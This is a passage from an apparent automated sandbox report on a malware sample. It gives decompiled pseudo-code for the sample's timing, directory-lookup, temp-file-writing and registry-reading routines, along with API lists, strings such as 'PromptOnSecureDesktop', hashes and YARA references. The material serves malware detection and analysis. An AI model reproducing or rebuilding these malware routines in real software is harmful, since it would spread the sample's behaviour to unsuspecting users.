					if(_t118 -  *_t11 < 0x927c0) {
						goto L6;
					}
					goto L5;
				} else {
					_t4 =  &(_t157[0xc]); // 0x5756c359
					_t120 =  *_t4;
					_t157[0x1c] = _t120 * 0x2710;
					_t157[8] = _t120;
					_t157[0x20] = _t120 * 0x3e8;
					_t157[0x34] = _t120;
					_t157[0x48] = GetTickCount();
					L6:
					if(( *_t157 & 0x00000001) == 0) {
						_t73 =  &(_t157[0x34]); // 0xa1c35e5f
						_t157[8] =  *_t73;
						goto L31;
					}
					_t93 = GetTickCount();
					_t21 =  &(_t157[0x4c]); // 0x26fce850
					if(_t93 -  *_t21 >= 0x2710) {
						goto L31;
					}
					if(_t157[0x54] == _t122) {
						_t95 = 0x3e8;
					} else {
						_t117 = GetTickCount();
						_t23 =  &(_t157[0x54]); // 0x41366c1d
						_t95 = _t117 -  *_t23;
					}
					_t123 = _t95;
					if(_t95 < 1) {
						_t123 = 1;
					}
					if(_t123 > 0x4e20) {
						_t123 = 0x4e20;
					}
					_t24 =  &(_t157[0x58]); // 0x701d8900
					_t25 =  &(_t157[0x40]); // 0x74c33b57
					_t151 =  *_t25;
					_t132 =  *_t24 * 0x3e8;
					_push(_t158);
					asm("cdq");
					_push(0x14);
					_a4 = _t123;
					asm("cdq");
					_t101 = (_t132 - _t151) * _t123 / 0x3e8 / 0x3e8;
					if(_t101 == 0) {
						__eflags = _t132 - _t151;
						if(__eflags == 0) {
							goto L22;
						}
						if(__eflags >= 0) {
							_t156 = _t151 + 1;
							__eflags = _t156;
						} else {
							_t156 = _t151 - 1;
						}
						goto L21;
					} else {
						_t156 = _t151 + _t101;
						L21:
						_t157[0x40] = _t156;
						L22:
						if(_t157[0x40] < 0) {
							_t157[0x40] = _t157[0x40] & 0x00000000;
						}
						_t39 =  &(_t157[0x40]); // 0x74c33b57
						_t163 = (0xc8 -  *_t39) * 0x14;
						if(_t123 > 0x3e8) {
							_a4 = 0x3e8;
						}
						asm("cdq");
						_t46 =  &(_t157[0x14]); // 0x5f004120
						_t47 =  &(_t157[0x10]); // 0x59be026a
						asm("cdq");
						_t49 =  &(_t157[0x30]); // 0xe4754f45
						_t54 =  &(_t157[0x20]); // 0x406a0000
						_t108 = E0040A505(_t163 * _a4 / 0x3e8 /  *_t49 +  *_t54,  *_t47 * 0x3e8,  *_t46 * 0x3e8);
						asm("cdq");
						_t56 =  &(_t157[0x2c]); // 0xc68314c4
						_t157[0x20] = _t108;
						_t112 = E0040A505(_t163 /  *_t56 + _t108,  *_t47 * 0x3e8,  *_t46 * 0x3e8);
						asm("cdq");
						_t122 = 0;
						_t157[0x58] = 0;
						_t154 = _t112 / 0x3e8;
						_t157[0x54] = GetTickCount();
						_t68 =  &(_t157[0x34]); // 0xa1c35e5f
						_t115 =  *_t68;
						if(_t115 <= _t154) {
							_t157[8] = _t115;
							_t157[0x20] = _t115 * 0x3e8;
						} else {
							_t157[8] = _t154;
							_t157[0x1c] = _t154 * 0x2710;
						}
						goto L31;
					}
				}
			}

0x0040c2dc
0x0040c2de
0x0040c2e4
0x0040c2e9
0x0040c2ef
0x0040c482
0x0040c485
0x0040c488
0x0040c48b
0x0040c48e
0x0040c491
0x0040c494
0x0040c497
0x0040c499
0x0040c499
0x0040c4a0
0x0040c4a3
0x0040c4a6
0x0040c4a9
0x0040c4d5
0x0040c4d5
0x0040c4d5
0x0040c4c1
0x0040c4c9
0x00000000
0x00000000
0x00000000
0x0040c4cc
0x0040c2fe
0x0040c326
0x0040c329
0x0040c337
0x0040c337
0x0040c337
0x0040c342
0x0040c345
0x0040c348
0x0040c348
0x0040c34e
0x0040c351
0x0040c354
0x0040c357
0x00000000
0x0040c357
0x0040c32b
0x0040c32d
0x0040c330
0x0040c335
0x00000000
0x00000000
0x00000000
0x0040c300
0x0040c300
0x0040c300
0x0040c30b
0x0040c316
0x0040c319
0x0040c31c
0x0040c321
0x0040c35a
0x0040c35d
0x0040c47a
0x0040c47d
0x00000000
0x0040c47d
0x0040c363
0x0040c365
0x0040c36d
0x00000000
0x00000000
0x0040c376
0x0040c37f
0x0040c378
0x0040c378
0x0040c37a
0x0040c37a
0x0040c37a
0x0040c384
0x0040c389
0x0040c38d
0x0040c38d
0x0040c395
0x0040c397
0x0040c397
0x0040c399
0x0040c39c
0x0040c39c
0x0040c39f
0x0040c3ac
0x0040c3ad
0x0040c3b5
0x0040c3b8
0x0040c3bc
0x0040c3bd
0x0040c3c1
0x0040c3c7
0x0040c3c9
0x00000000
0x00000000
0x0040c3cb
0x0040c3d0
0x0040c3d0
0x0040c3cd
0x0040c3cd
0x0040c3cd
0x00000000
0x0040c3c3
0x0040c3c3
0x0040c3d1
0x0040c3d1
0x0040c3d4
0x0040c3d8
0x0040c3da
0x0040c3da
0x0040c3e3
0x0040c3eb
0x0040c3f0
0x0040c3f2
0x0040c3f2
0x0040c3fd
0x0040c405
0x0040c408
0x0040c419
0x0040c41a
0x0040c41d
0x0040c421
0x0040c42a
0x0040c42b
0x0040c430
0x0040c436
0x0040c43b
0x0040c443
0x0040c448
0x0040c44b
0x0040c453
0x0040c456
0x0040c456
0x0040c45c
0x0040c46c
0x0040c475
0x0040c45e
0x0040c45e
0x0040c467
0x0040c467
0x00000000
0x0040c45c
0x0040c3c1

APIs

Part of subcall function 0040A4C7: GetTickCount.KERNEL32 ref: 0040A4D1
Part of subcall function 0040A4C7: InterlockedExchange.KERNEL32(?,00000001), ref: 0040A4FA

GetTickCount.KERNEL32 ref: 0040C31F
GetTickCount.KERNEL32 ref: 0040C32B
GetTickCount.KERNEL32 ref: 0040C363
GetTickCount.KERNEL32 ref: 0040C378
GetTickCount.KERNEL32 ref: 0040C44D
InterlockedIncrement.KERNEL32(0040C4E4), ref: 0040C4AE
CreateThread.KERNEL32 ref: 0040C4C1
CloseHandle.KERNEL32(00000000,?,0040C4E0,00413588,00408810), ref: 0040C4CC

Strings

localcfg, xrefs: 0040C2DD
0t, xrefs: 0040C44D

Memory Dump Source

Source File: 0000001A.00000002.436435976.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.436466350.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_85ED.jbxd

Yara matches

Similarity

API ID: CountTick$Interlocked$CloseCreateExchangeHandleIncrementThread
String ID: 0t$localcfg
API String ID: 1553760989-1645711936
Opcode ID: afac293e63498dd1283f128a7be93ce9089d2193a9ff6ee31ee25d998cb0b475
Instruction ID: d79c9f10581ee3273b6165e92ba068ddd4f199cf4cd09fd02743c11af2233124
Opcode Fuzzy Hash: afac293e63498dd1283f128a7be93ce9089d2193a9ff6ee31ee25d998cb0b475
Instruction Fuzzy Hash: 0E515CB1A00B41CFC7249F6AC5D552ABBE9FB48304B509A3FE58BD7A90D778F8448B14

Uniqueness

Uniqueness Score: -1.00%

Function 0043C01A, Relevance: 16.7, APIs: 11, Instructions: 238COMMON

Download Yara Rule

APIs

_get_int_arg.LIBCMTD ref: 0043C01E
__get_printf_count_output.LIBCMTD ref: 0043C02C
__invalid_parameter.LIBCMTD ref: 0043C0B3
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0043C0C8
_write_multi_char.LIBCMTD ref: 0043C65B
_write_string.LIBCMTD ref: 0043C676
_write_multi_char.LIBCMTD ref: 0043C6A2
__mbtowc_l.LIBCMTD ref: 0043C711

Memory Dump Source

Source File: 0000001A.00000002.436479044.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_415000_85ED.jbxd

Similarity

API ID: Locale_write_multi_char$UpdateUpdate::~___get_printf_count_output__invalid_parameter__mbtowc_l_get_int_arg_write_string
String ID:
API String ID: 2386203720-0
Opcode ID: c8085778bbb25a2222fc431e846649b6a162034bb8851f7cc36a0f45966b9f4a
Instruction ID: 41c1f4ad8c559c08a056b6e52969dca76049705f2df3abce8d61624db3f8dcc1
Opcode Fuzzy Hash: c8085778bbb25a2222fc431e846649b6a162034bb8851f7cc36a0f45966b9f4a
Instruction Fuzzy Hash: 47A1A0F19002299BDF24DF55CC85BAEB3B5AB88305F1050DAE6097B282D7785E84CF5D

Uniqueness

Uniqueness Score: -1.00%

Function 00406CC9, Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 84
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 80%

			E00406CC9(void* __ecx) {
				_Unknown_base(*)()* _t8;
				CHAR* _t17;
				void* _t18;
				void* _t23;
				char _t25;
				void* _t34;

				_t23 = __ecx;
				if( *0x412e08 != 0) {
					L14:
					return 0x412e08;
				}
				_t8 = GetProcAddress(GetModuleHandleA("kernel32"), "GetSystemWow64DirectoryA");
				if(_t8 == 0) {
					L4:
					if(GetSystemDirectoryA(0x412e08, 0x104) == 0 ||  *0x412e08 == 0) {
						if(GetWindowsDirectoryA(0x412e08, 0x104) == 0 ||  *0x412e08 == 0) {
							E0040EF00(0x412e08, E00402544(0x4122f8, 0x410664, 0xb, 0xe4, 0xc8));
							E0040EE2A(_t23, 0x4122f8, 0, 0x100);
							_t34 = _t34 + 0x28;
						}
						E0040EF1E(0x412e08, E00402544(0x4122f8, 0x410658, 0xb, 0xe4, 0xc8));
						E0040EE2A(_t23, 0x4122f8, 0, 0x100);
					}
					L10:
					_t17 = 0x412e08;
					goto L11;
					L11:
					_t25 =  *_t17;
					_t17 =  &(_t17[1]);
					if(_t25 != 0) {
						goto L11;
					} else {
						_t18 = _t17 - 0x412e09;
						if( *((char*)(_t18 + 0x412e07)) != 0x5c) {
							 *((char*)(_t18 + 0x412e08)) = 0x5c;
							 *((char*)(_t18 + 0x412e09)) = _t25;
						}
						goto L14;
					}
				}
				_push(0x104);
				_push(0x412e08);
				if( *_t8() == 0 ||  *0x412e08 == 0) {
					goto L4;
				} else {
					goto L10;
				}
			}

0x00406cc9
0x00406cd6
0x00406dbe
0x00406dc1
0x00406dc1
0x00406cee
0x00406cfb
0x00406d12
0x00406d1c
0x00406d40
0x00406d60
0x00406d69
0x00406d6e
0x00406d6e
0x00406d86
0x00406d8f
0x00406d98
0x00406d99
0x00406d99
0x00406d9e
0x00406d9f
0x00406d9f
0x00406da1
0x00406da4
0x00000000
0x00406da6
0x00406da6
0x00406daf
0x00406db1
0x00406db8
0x00406db8
0x00000000
0x00406daf
0x00406da4
0x00406cfd
0x00406cfe
0x00406d03
0x00000000
0x00000000
0x00000000
0x00000000

APIs

GetModuleHandleA.KERNEL32(kernel32,GetSystemWow64DirectoryA,PromptOnSecureDesktop,000000E4,00406DDC,000000C8), ref: 00406CE7
GetProcAddress.KERNEL32(00000000), ref: 00406CEE
GetSystemDirectoryA.KERNEL32 ref: 00406D14
GetWindowsDirectoryA.KERNEL32(C:\Windows\SysWOW64\,00000104,?,00000000), ref: 00406D2B

Strings

kernel32, xrefs: 00406CE2
C:\Windows\SysWOW64\, xrefs: 00406CC9, 00406CD1, 00406CFE, 00406D05, 00406D13, 00406D1E, 00406D2A, 00406D42, 00406D5F, 00406D85
GetSystemWow64DirectoryA, xrefs: 00406CDD
PromptOnSecureDesktop, xrefs: 00406CDC, 00406D36, 00406D58, 00406D68, 00406D7E, 00406D8E
Mt, xrefs: 00406CE7

Memory Dump Source

Source File: 0000001A.00000002.436435976.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.436466350.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_85ED.jbxd

Yara matches

Similarity

API ID: Directory$AddressHandleModuleProcSystemWindows
String ID: C:\Windows\SysWOW64\$GetSystemWow64DirectoryA$PromptOnSecureDesktop$kernel32$Mt
API String ID: 1082366364-4075101892
Opcode ID: 174e8731fdbdc44ab974895aa40a4ab233de6b35a5efa5658db69bb206ac9e39
Instruction ID: 283af98db633f334a3c96cb566aa979ace8a56c3c0d7b64ee1e11c7fdc897f47
Opcode Fuzzy Hash: 174e8731fdbdc44ab974895aa40a4ab233de6b35a5efa5658db69bb206ac9e39
Instruction Fuzzy Hash: AC21F26174034479F72157225D89FF72E4C8F52744F19407AF804B62D2CAED88E582AD

Uniqueness

Uniqueness Score: -1.00%

Function 00437133, Relevance: 15.2, APIs: 10, Instructions: 183COMMON

Download Yara Rule

APIs

_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0043717B
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 004371B1
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 004371D2
wcsncnt.LIBCMTD ref: 00437209
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0043726F
_wcslen.LIBCMTD ref: 0043747F
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0043748D

Memory Dump Source

Source File: 0000001A.00000002.436479044.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_415000_85ED.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_$_wcslenwcsncnt
String ID:
API String ID: 1043867012-0
Opcode ID: a75fb59ac886909f865883af9d2fd7fd6acc280cbf306607b00d4618d004dc0d
Instruction ID: ead2c3bea80978c50bf3e1d8cd796000cc7bc2ee9f759496a31695e4ec610c8c
Opcode Fuzzy Hash: a75fb59ac886909f865883af9d2fd7fd6acc280cbf306607b00d4618d004dc0d
Instruction Fuzzy Hash: D58138B1A04118EFCF18DF94D990BEEB7B1FF48315F20815AE4116B6A1DB38AE41CB55

Uniqueness

Uniqueness Score: -1.00%

Function 00409064, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 83
filestringCOMMON

Download Yara Rule

C-Code - Quality: 63%

			E00409064(void* __eflags, void* _a4, CHAR* _a8) {
				long _v8;
				char _v1032;
				signed int _t29;
				signed int _t62;
				void* _t64;

				GetTempPathA(0x400,  &_v1032);
				E00408274( &_v1032);
				_t29 = E0040ECA5();
				_t62 = 9;
				_push(_t29 % _t62);
				_push(E0040ECA5() % _t62);
				_push(E0040ECA5() % _t62);
				_push(E0040ECA5() % _t62);
				_push( &_v1032);
				wsprintfA(_a8, E00402544(0x4122f8, 0x410794, 0xf, 0xe4, 0xc8));
				E0040EE2A(_t62, 0x4122f8, 0, 0x100);
				_t64 = CreateFileA(_a8, 0x40000000, 0, 0, 2, 0, 0);
				if(_t64 <= 0) {
					return 0;
				}
				WriteFile(_t64, _a4, lstrlenA(_a4),  &_v8, 0);
				CloseHandle(_t64);
				return 1;
			}

0x0040907b
0x00409088
0x0040908e
0x00409095
0x0040909c
0x004090a8
0x004090b4
0x004090c9
0x004090ca
0x004090e9
0x004090f8
0x00409114
0x00409118
0x00000000
0x0040913f
0x0040912d
0x00409134
0x00000000

APIs

GetTempPathA.KERNEL32(00000400,?,00000000,PromptOnSecureDesktop), ref: 0040907B
wsprintfA.USER32 ref: 004090E9
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 0040910E
lstrlenA.KERNEL32(00000000,00000100,00000000), ref: 00409122
WriteFile.KERNEL32(00000000,00000000,00000000), ref: 0040912D
CloseHandle.KERNEL32(00000000), ref: 00409134

Strings

PromptOnSecureDesktop, xrefs: 0040906D, 004090C4, 004090DC, 004090F7

Memory Dump Source

Source File: 0000001A.00000002.436435976.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.436466350.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_85ED.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandlePathTempWritelstrlenwsprintf
String ID: PromptOnSecureDesktop
API String ID: 2439722600-2980165447
Opcode ID: f28af15f22a92dcef6476bc2819c454602b50741f9449e0ae3514995eeab5b50
Instruction ID: 58bbe077760212e8da181cf829ffda1a70542de1f4ba4b23f7e3a80b8f6fba70
Opcode Fuzzy Hash: f28af15f22a92dcef6476bc2819c454602b50741f9449e0ae3514995eeab5b50
Instruction Fuzzy Hash: 451175B26401147AF7246723DD0AFEF3A6DDBC8704F04C47AB70AB50D1EAB94A519668

Uniqueness

Uniqueness Score: -1.00%

Function 0042BA87, Relevance: 10.6, APIs: 7, Instructions: 138COMMON

Download Yara Rule

APIs

_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 004372E8
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0043731B
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0043738F

Memory Dump Source

Source File: 0000001A.00000002.436479044.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_415000_85ED.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_
String ID:
API String ID: 1901436342-0
Opcode ID: 20adb6928b20449ab57bb2bc031bee64fc5fc89f39f4ec5f6c699768e4a5b995
Instruction ID: 7f916f081d8637a7f9c633cbc9d6846aae1f6a156225a7a8489aa800ffb8e6e2
Opcode Fuzzy Hash: 20adb6928b20449ab57bb2bc031bee64fc5fc89f39f4ec5f6c699768e4a5b995
Instruction Fuzzy Hash: E7513B70904108EFCF18DF94C884AEEB7B1FF48319F20915AE8526B691C738AE41DF59

Uniqueness

Uniqueness Score: -1.00%

Function 00429760, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 105windowCOMMON

Download Yara Rule

APIs

__invoke_watson_if_oneof.LIBCMTD ref: 0042985E
_wcscpy_s.LIBCMTD ref: 004298A0
__invoke_watson_if_error.LIBCMTD ref: 004298A9
___crtMessageBoxW.LIBCMTD ref: 004298C2
_raise.LIBCMTD ref: 004298DB

Strings

Ph8S@, xrefs: 00429814

Memory Dump Source

Source File: 0000001A.00000002.436479044.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_415000_85ED.jbxd

Similarity

API ID: Message___crt__invoke_watson_if_error__invoke_watson_if_oneof_raise_wcscpy_s
String ID: Ph8S@
API String ID: 908537515-3448839189
Opcode ID: 5cc9284ce16ccb3206412ac6ceddb373a8c02e67a4de6e24e554cd987979dad6
Instruction ID: 85d5eb8b6244cd8a20da801125cf1f065874b4c672d9b18100a1b41c5300fafe
Opcode Fuzzy Hash: 5cc9284ce16ccb3206412ac6ceddb373a8c02e67a4de6e24e554cd987979dad6
Instruction Fuzzy Hash: 0F4152B4B50228ABDB24DE55DC46FDA73B4AB48704F9040EEF60976281D6B85E80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00427C68, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 104COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00427CC9
__aullrem.LIBCMT ref: 00427E96
__aulldiv.LIBCMT ref: 00427EB8

Strings

9, xrefs: 00427EC9
', xrefs: 00427C68
0, xrefs: 00427C84

Memory Dump Source

Source File: 0000001A.00000002.436479044.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_415000_85ED.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: '$0$9
API String ID: 3120068967-269856862
Opcode ID: b06138346e01c4859c971e078a40e2d1bc4e5d7828ca2f175b19f213fc8eb558
Instruction ID: 2d1a887e856aca75a568d4a610fcad89c7c1e79479ddfac6953c5d1ad99f476d
Opcode Fuzzy Hash: b06138346e01c4859c971e078a40e2d1bc4e5d7828ca2f175b19f213fc8eb558
Instruction Fuzzy Hash: 72412571E18229DFDB64CF58D889BAEB7B5BF44300F5081DAD009AB241C7389E81CF55

Uniqueness

Uniqueness Score: -1.00%

Function 00434ED7, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 104COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00434F38
__aullrem.LIBCMT ref: 00435105
__aulldiv.LIBCMT ref: 00435127

Strings

0, xrefs: 00434EF3
9, xrefs: 00435138
', xrefs: 00434ED7

Memory Dump Source

Source File: 0000001A.00000002.436479044.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_415000_85ED.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: '$0$9
API String ID: 3120068967-269856862
Opcode ID: 403a4a1944af8a17fff45db30b91d9a6f14a6034f75f525fc3273268f6792f56
Instruction ID: 2b348d7a07e6a46ad525dfd334d3e7a6a387ecb132b173aa8a2af8e2930da9d3
Opcode Fuzzy Hash: 403a4a1944af8a17fff45db30b91d9a6f14a6034f75f525fc3273268f6792f56
Instruction Fuzzy Hash: 5941F4B1D05629CFEB24CF58C899BAEB7B5FB48304F2495DAD008A7241C7399E85CF85

Uniqueness

Uniqueness Score: -1.00%

Function 004080C9, Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 146
registryCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E004080C9(int* __ecx) {
				int _v8;
				void* _v12;
				int _v16;
				char _v20;
				char _v52;
				char _v312;
				void* _t27;
				void* _t31;
				char* _t35;
				char* _t42;
				char* _t45;
				intOrPtr* _t49;
				intOrPtr _t52;
				intOrPtr _t57;
				void* _t60;
				intOrPtr _t63;
				void* _t65;
				void* _t68;
				CHAR _t70;
				intOrPtr _t71;

				_t56 = __ecx;
				_v8 = 0;
				 *0x412c3c = 0;
				 *0x412c38 = 0;
				if(E00406EC3() != 0) {
					_t27 = E0040704C(0x410264, 0, 0,  &_v312,  &_v52);
					_t65 = _t65 + 0x14;
					if(_t27 <= 0 || _v312 == 0 || _v52 == 0) {
						goto L20;
					} else {
						_t35 = E00402544(0x4122f8,  &E004106AC, 0x2e, 0xe4, 0xc8);
						_t68 = _t65 + 0x14;
						if(RegOpenKeyExA(0x80000001, _t35, 0, 0x101,  &_v12) != 0) {
							L19:
							E0040EE2A(_t56, 0x4122f8, 0, 0x100);
							_t65 = _t68 + 0xc;
							goto L20;
						}
						if(RegQueryValueExA(_v12,  &_v312, 0,  &_v16, 0,  &_v8) != 0 || _v16 != 1 || _v8 <= 0) {
							L15:
							_t42 =  *0x412c3c; // 0x0
							if(_t42 == 0) {
								goto L18;
							}
							E0040EC2E(_t42);
							 *0x412c3c = 0;
							goto L17;
						} else {
							_t45 = E0040EBCC(_v8);
							_pop(_t56);
							 *0x412c3c = _t45;
							if(_t45 == 0) {
								L18:
								RegCloseKey(_v12);
								goto L19;
							}
							_t56 =  &_v8;
							if(RegQueryValueExA(_v12,  &_v312, 0,  &_v16, _t45,  &_v8) != 0) {
								goto L15;
							}
							_t49 =  &_v312;
							_t60 = _t49 + 1;
							do {
								_t57 =  *_t49;
								_t49 = _t49 + 1;
							} while (_t57 != 0);
							_t52 = E0040EBCC(_t49 - _t60 + 1);
							_pop(_t56);
							 *0x412c38 = _t52;
							if(_t52 == 0) {
								goto L18;
							}
							E0040EF00(_t52,  &_v312);
							L17:
							_pop(_t56);
							goto L18;
						}
					}
				} else {
					E00407EE6(_t56);
					L20:
					_t70 =  *0x4121a8; // 0x0
					if(_t70 != 0) {
						_t71 =  *0x4121a4; // 0x0
						if(_t71 == 0) {
							_t31 = E0040675C(0x4121a8,  &_v20, 0);
							_t61 = _t31;
							if(_t31 != 0) {
								_t63 = _v20;
								 *0x4122d4 = E004024C2(_t61, _t63, 0);
								 *0x4121a4 = _t63;
								E0040EC2E(_t61);
							}
						}
					}
					return 1;
				}
			}

0x004080c9
0x004080d7
0x004080da
0x004080e0
0x004080ed
0x0040810b
0x00408110
0x00408115
0x00000000
0x00408130
0x00408151
0x00408156
0x00408167
0x00408216
0x0040821d
0x00408222
0x00000000
0x00408222
0x0040818b
0x004081f7
0x004081f7
0x004081fe
0x00000000
0x00000000
0x00408201
0x00408206
0x00000000
0x00408198
0x0040819b
0x004081a0
0x004081a1
0x004081a8
0x0040820d
0x00408210
0x00000000
0x00408210
0x004081aa
0x004081c2
0x00000000
0x00000000
0x004081c4
0x004081ca
0x004081cd
0x004081cd
0x004081cf
0x004081d0
0x004081d8
0x004081dd
0x004081de
0x004081e5
0x00000000
0x00000000
0x004081ef
0x0040820c
0x0040820c
0x00000000
0x0040820c
0x0040818b
0x004080ef
0x004080ef
0x00408225
0x00408225
0x0040822b
0x0040822d
0x00408233
0x0040823f
0x00408244
0x0040824b
0x0040824d
0x00408259
0x0040825e
0x00408264
0x00408269
0x0040824b
0x00408233
0x00408273
0x00408273

APIs

RegOpenKeyExA.ADVAPI32(80000001,00000000,?,?,00000000,00000101,?,?,?,?,74E043E0,00000000), ref: 0040815F
RegQueryValueExA.ADVAPI32(?,?,00000000,?,00000000,0040A45F,?,?,00000000,00000101,?,?,?,?,74E043E0,00000000), ref: 00408187
RegQueryValueExA.ADVAPI32(?,?,00000000,00000001,00000000,0040A45F,?,?,00000000,00000101,?,?,?,?,74E043E0,00000000), ref: 004081BE
RegCloseKey.ADVAPI32(?,?,?,00000000,00000101,?,?,?,?,74E043E0,00000000), ref: 00408210

Part of subcall function 0040675C: SetFileAttributesA.KERNEL32(?,00000080,?,74E043E0,00000000), ref: 0040677E
Part of subcall function 0040675C: CreateFileA.KERNELBASE(?,80000000,00000003,00000000,00000003,00000080,00000000,?,74E043E0,00000000), ref: 0040679A
Part of subcall function 0040675C: CreateFileA.KERNEL32(?,80000000,00000003,00000000,00000003,00000004,00000000,?,74E043E0,00000000), ref: 004067B0
Part of subcall function 0040675C: SetFileAttributesA.KERNEL32(?,00000002,?,74E043E0,00000000), ref: 004067BF
Part of subcall function 0040675C: GetFileSize.KERNEL32(000000FF,00000000,?,74E043E0,00000000), ref: 004067D3
Part of subcall function 0040675C: ReadFile.KERNELBASE(000000FF,?,00000040,00408244,00000000,?,74E043E0,00000000), ref: 00406807
Part of subcall function 0040675C: SetFilePointer.KERNELBASE(000000FF,?,00000000,00000000,?,74E043E0,00000000), ref: 0040681F
Part of subcall function 0040675C: ReadFile.KERNELBASE(000000FF,?,000000F8,?,00000000,?,74E043E0,00000000), ref: 0040683E
Part of subcall function 0040675C: SetFilePointer.KERNELBASE(000000FF,?,00000000,00000000,?,74E043E0,00000000), ref: 0040685C

Part of subcall function 0040EC2E: GetProcessHeap.KERNEL32(00000000,'@,00000000,0040EA27,00000000), ref: 0040EC41
Part of subcall function 0040EC2E: HeapFree.KERNEL32(00000000), ref: 0040EC48

Strings

PromptOnSecureDesktop, xrefs: 0040814B, 00408150, 0040821C

Memory Dump Source

Source File: 0000001A.00000002.436435976.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.436466350.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_85ED.jbxd

Yara matches

Similarity

API ID: File$AttributesCreateHeapPointerQueryReadValue$CloseFreeOpenProcessSize
String ID: PromptOnSecureDesktop
API String ID: 124786226-2980165447
Opcode ID: f41c48beccc796d99ac39a3e9a8e7a8285e468a1565ebf528982a8b7ec716e81
Instruction ID: c6ff5cc28a73505882571aaa3479db7aabb841166acb9389a4089cab67cb233b
Opcode Fuzzy Hash: f41c48beccc796d99ac39a3e9a8e7a8285e468a1565ebf528982a8b7ec716e81
Instruction Fuzzy Hash: 6641A2B1801109BFEB10EBA19E81DEF777CDB04304F1448BFF545F2182EAB85A948B59

Uniqueness

Uniqueness Score: -1.00%

Function 00427C55, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 106COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00427CC9
__aullrem.LIBCMT ref: 00427E96
__aulldiv.LIBCMT ref: 00427EB8

Strings

9, xrefs: 00427EC9
0, xrefs: 00427C84

Memory Dump Source

Source File: 0000001A.00000002.436479044.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_415000_85ED.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 0$9
API String ID: 3120068967-1975997740
Opcode ID: 8dd572778d42769b5f892cc970b112f872f7f8b9fde39e664846cb7845f9b4a8
Instruction ID: 29833115a6518085c02cceef874d658fd047385ce8db4087fc54dfa2ebed4717
Opcode Fuzzy Hash: 8dd572778d42769b5f892cc970b112f872f7f8b9fde39e664846cb7845f9b4a8
Instruction Fuzzy Hash: 69411471E18229DFDB64CF58D889BAEB7B5BF44300F5081DAE049AB245C7389E81CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00434EC4, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 106COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00434F38
__aullrem.LIBCMT ref: 00435105
__aulldiv.LIBCMT ref: 00435127

Strings

0, xrefs: 00434EF3
9, xrefs: 00435138

Memory Dump Source

Source File: 0000001A.00000002.436479044.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_415000_85ED.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 0$9
API String ID: 3120068967-1975997740
Opcode ID: 76da64b256d11849294680e3a813e2a7cc0df4d81c5920740c53fe005e65e8af
Instruction ID: 502c7ff3fe188e162b8f9cc49850d85f93d785c5281819c7177e38464e4e5efc
Opcode Fuzzy Hash: 76da64b256d11849294680e3a813e2a7cc0df4d81c5920740c53fe005e65e8af
Instruction Fuzzy Hash: E34105B1D05629CFEB24CF58C899BAEB7B5FB48304F2495DAD008A7241C7399E85CF85

Uniqueness

Uniqueness Score: -1.00%

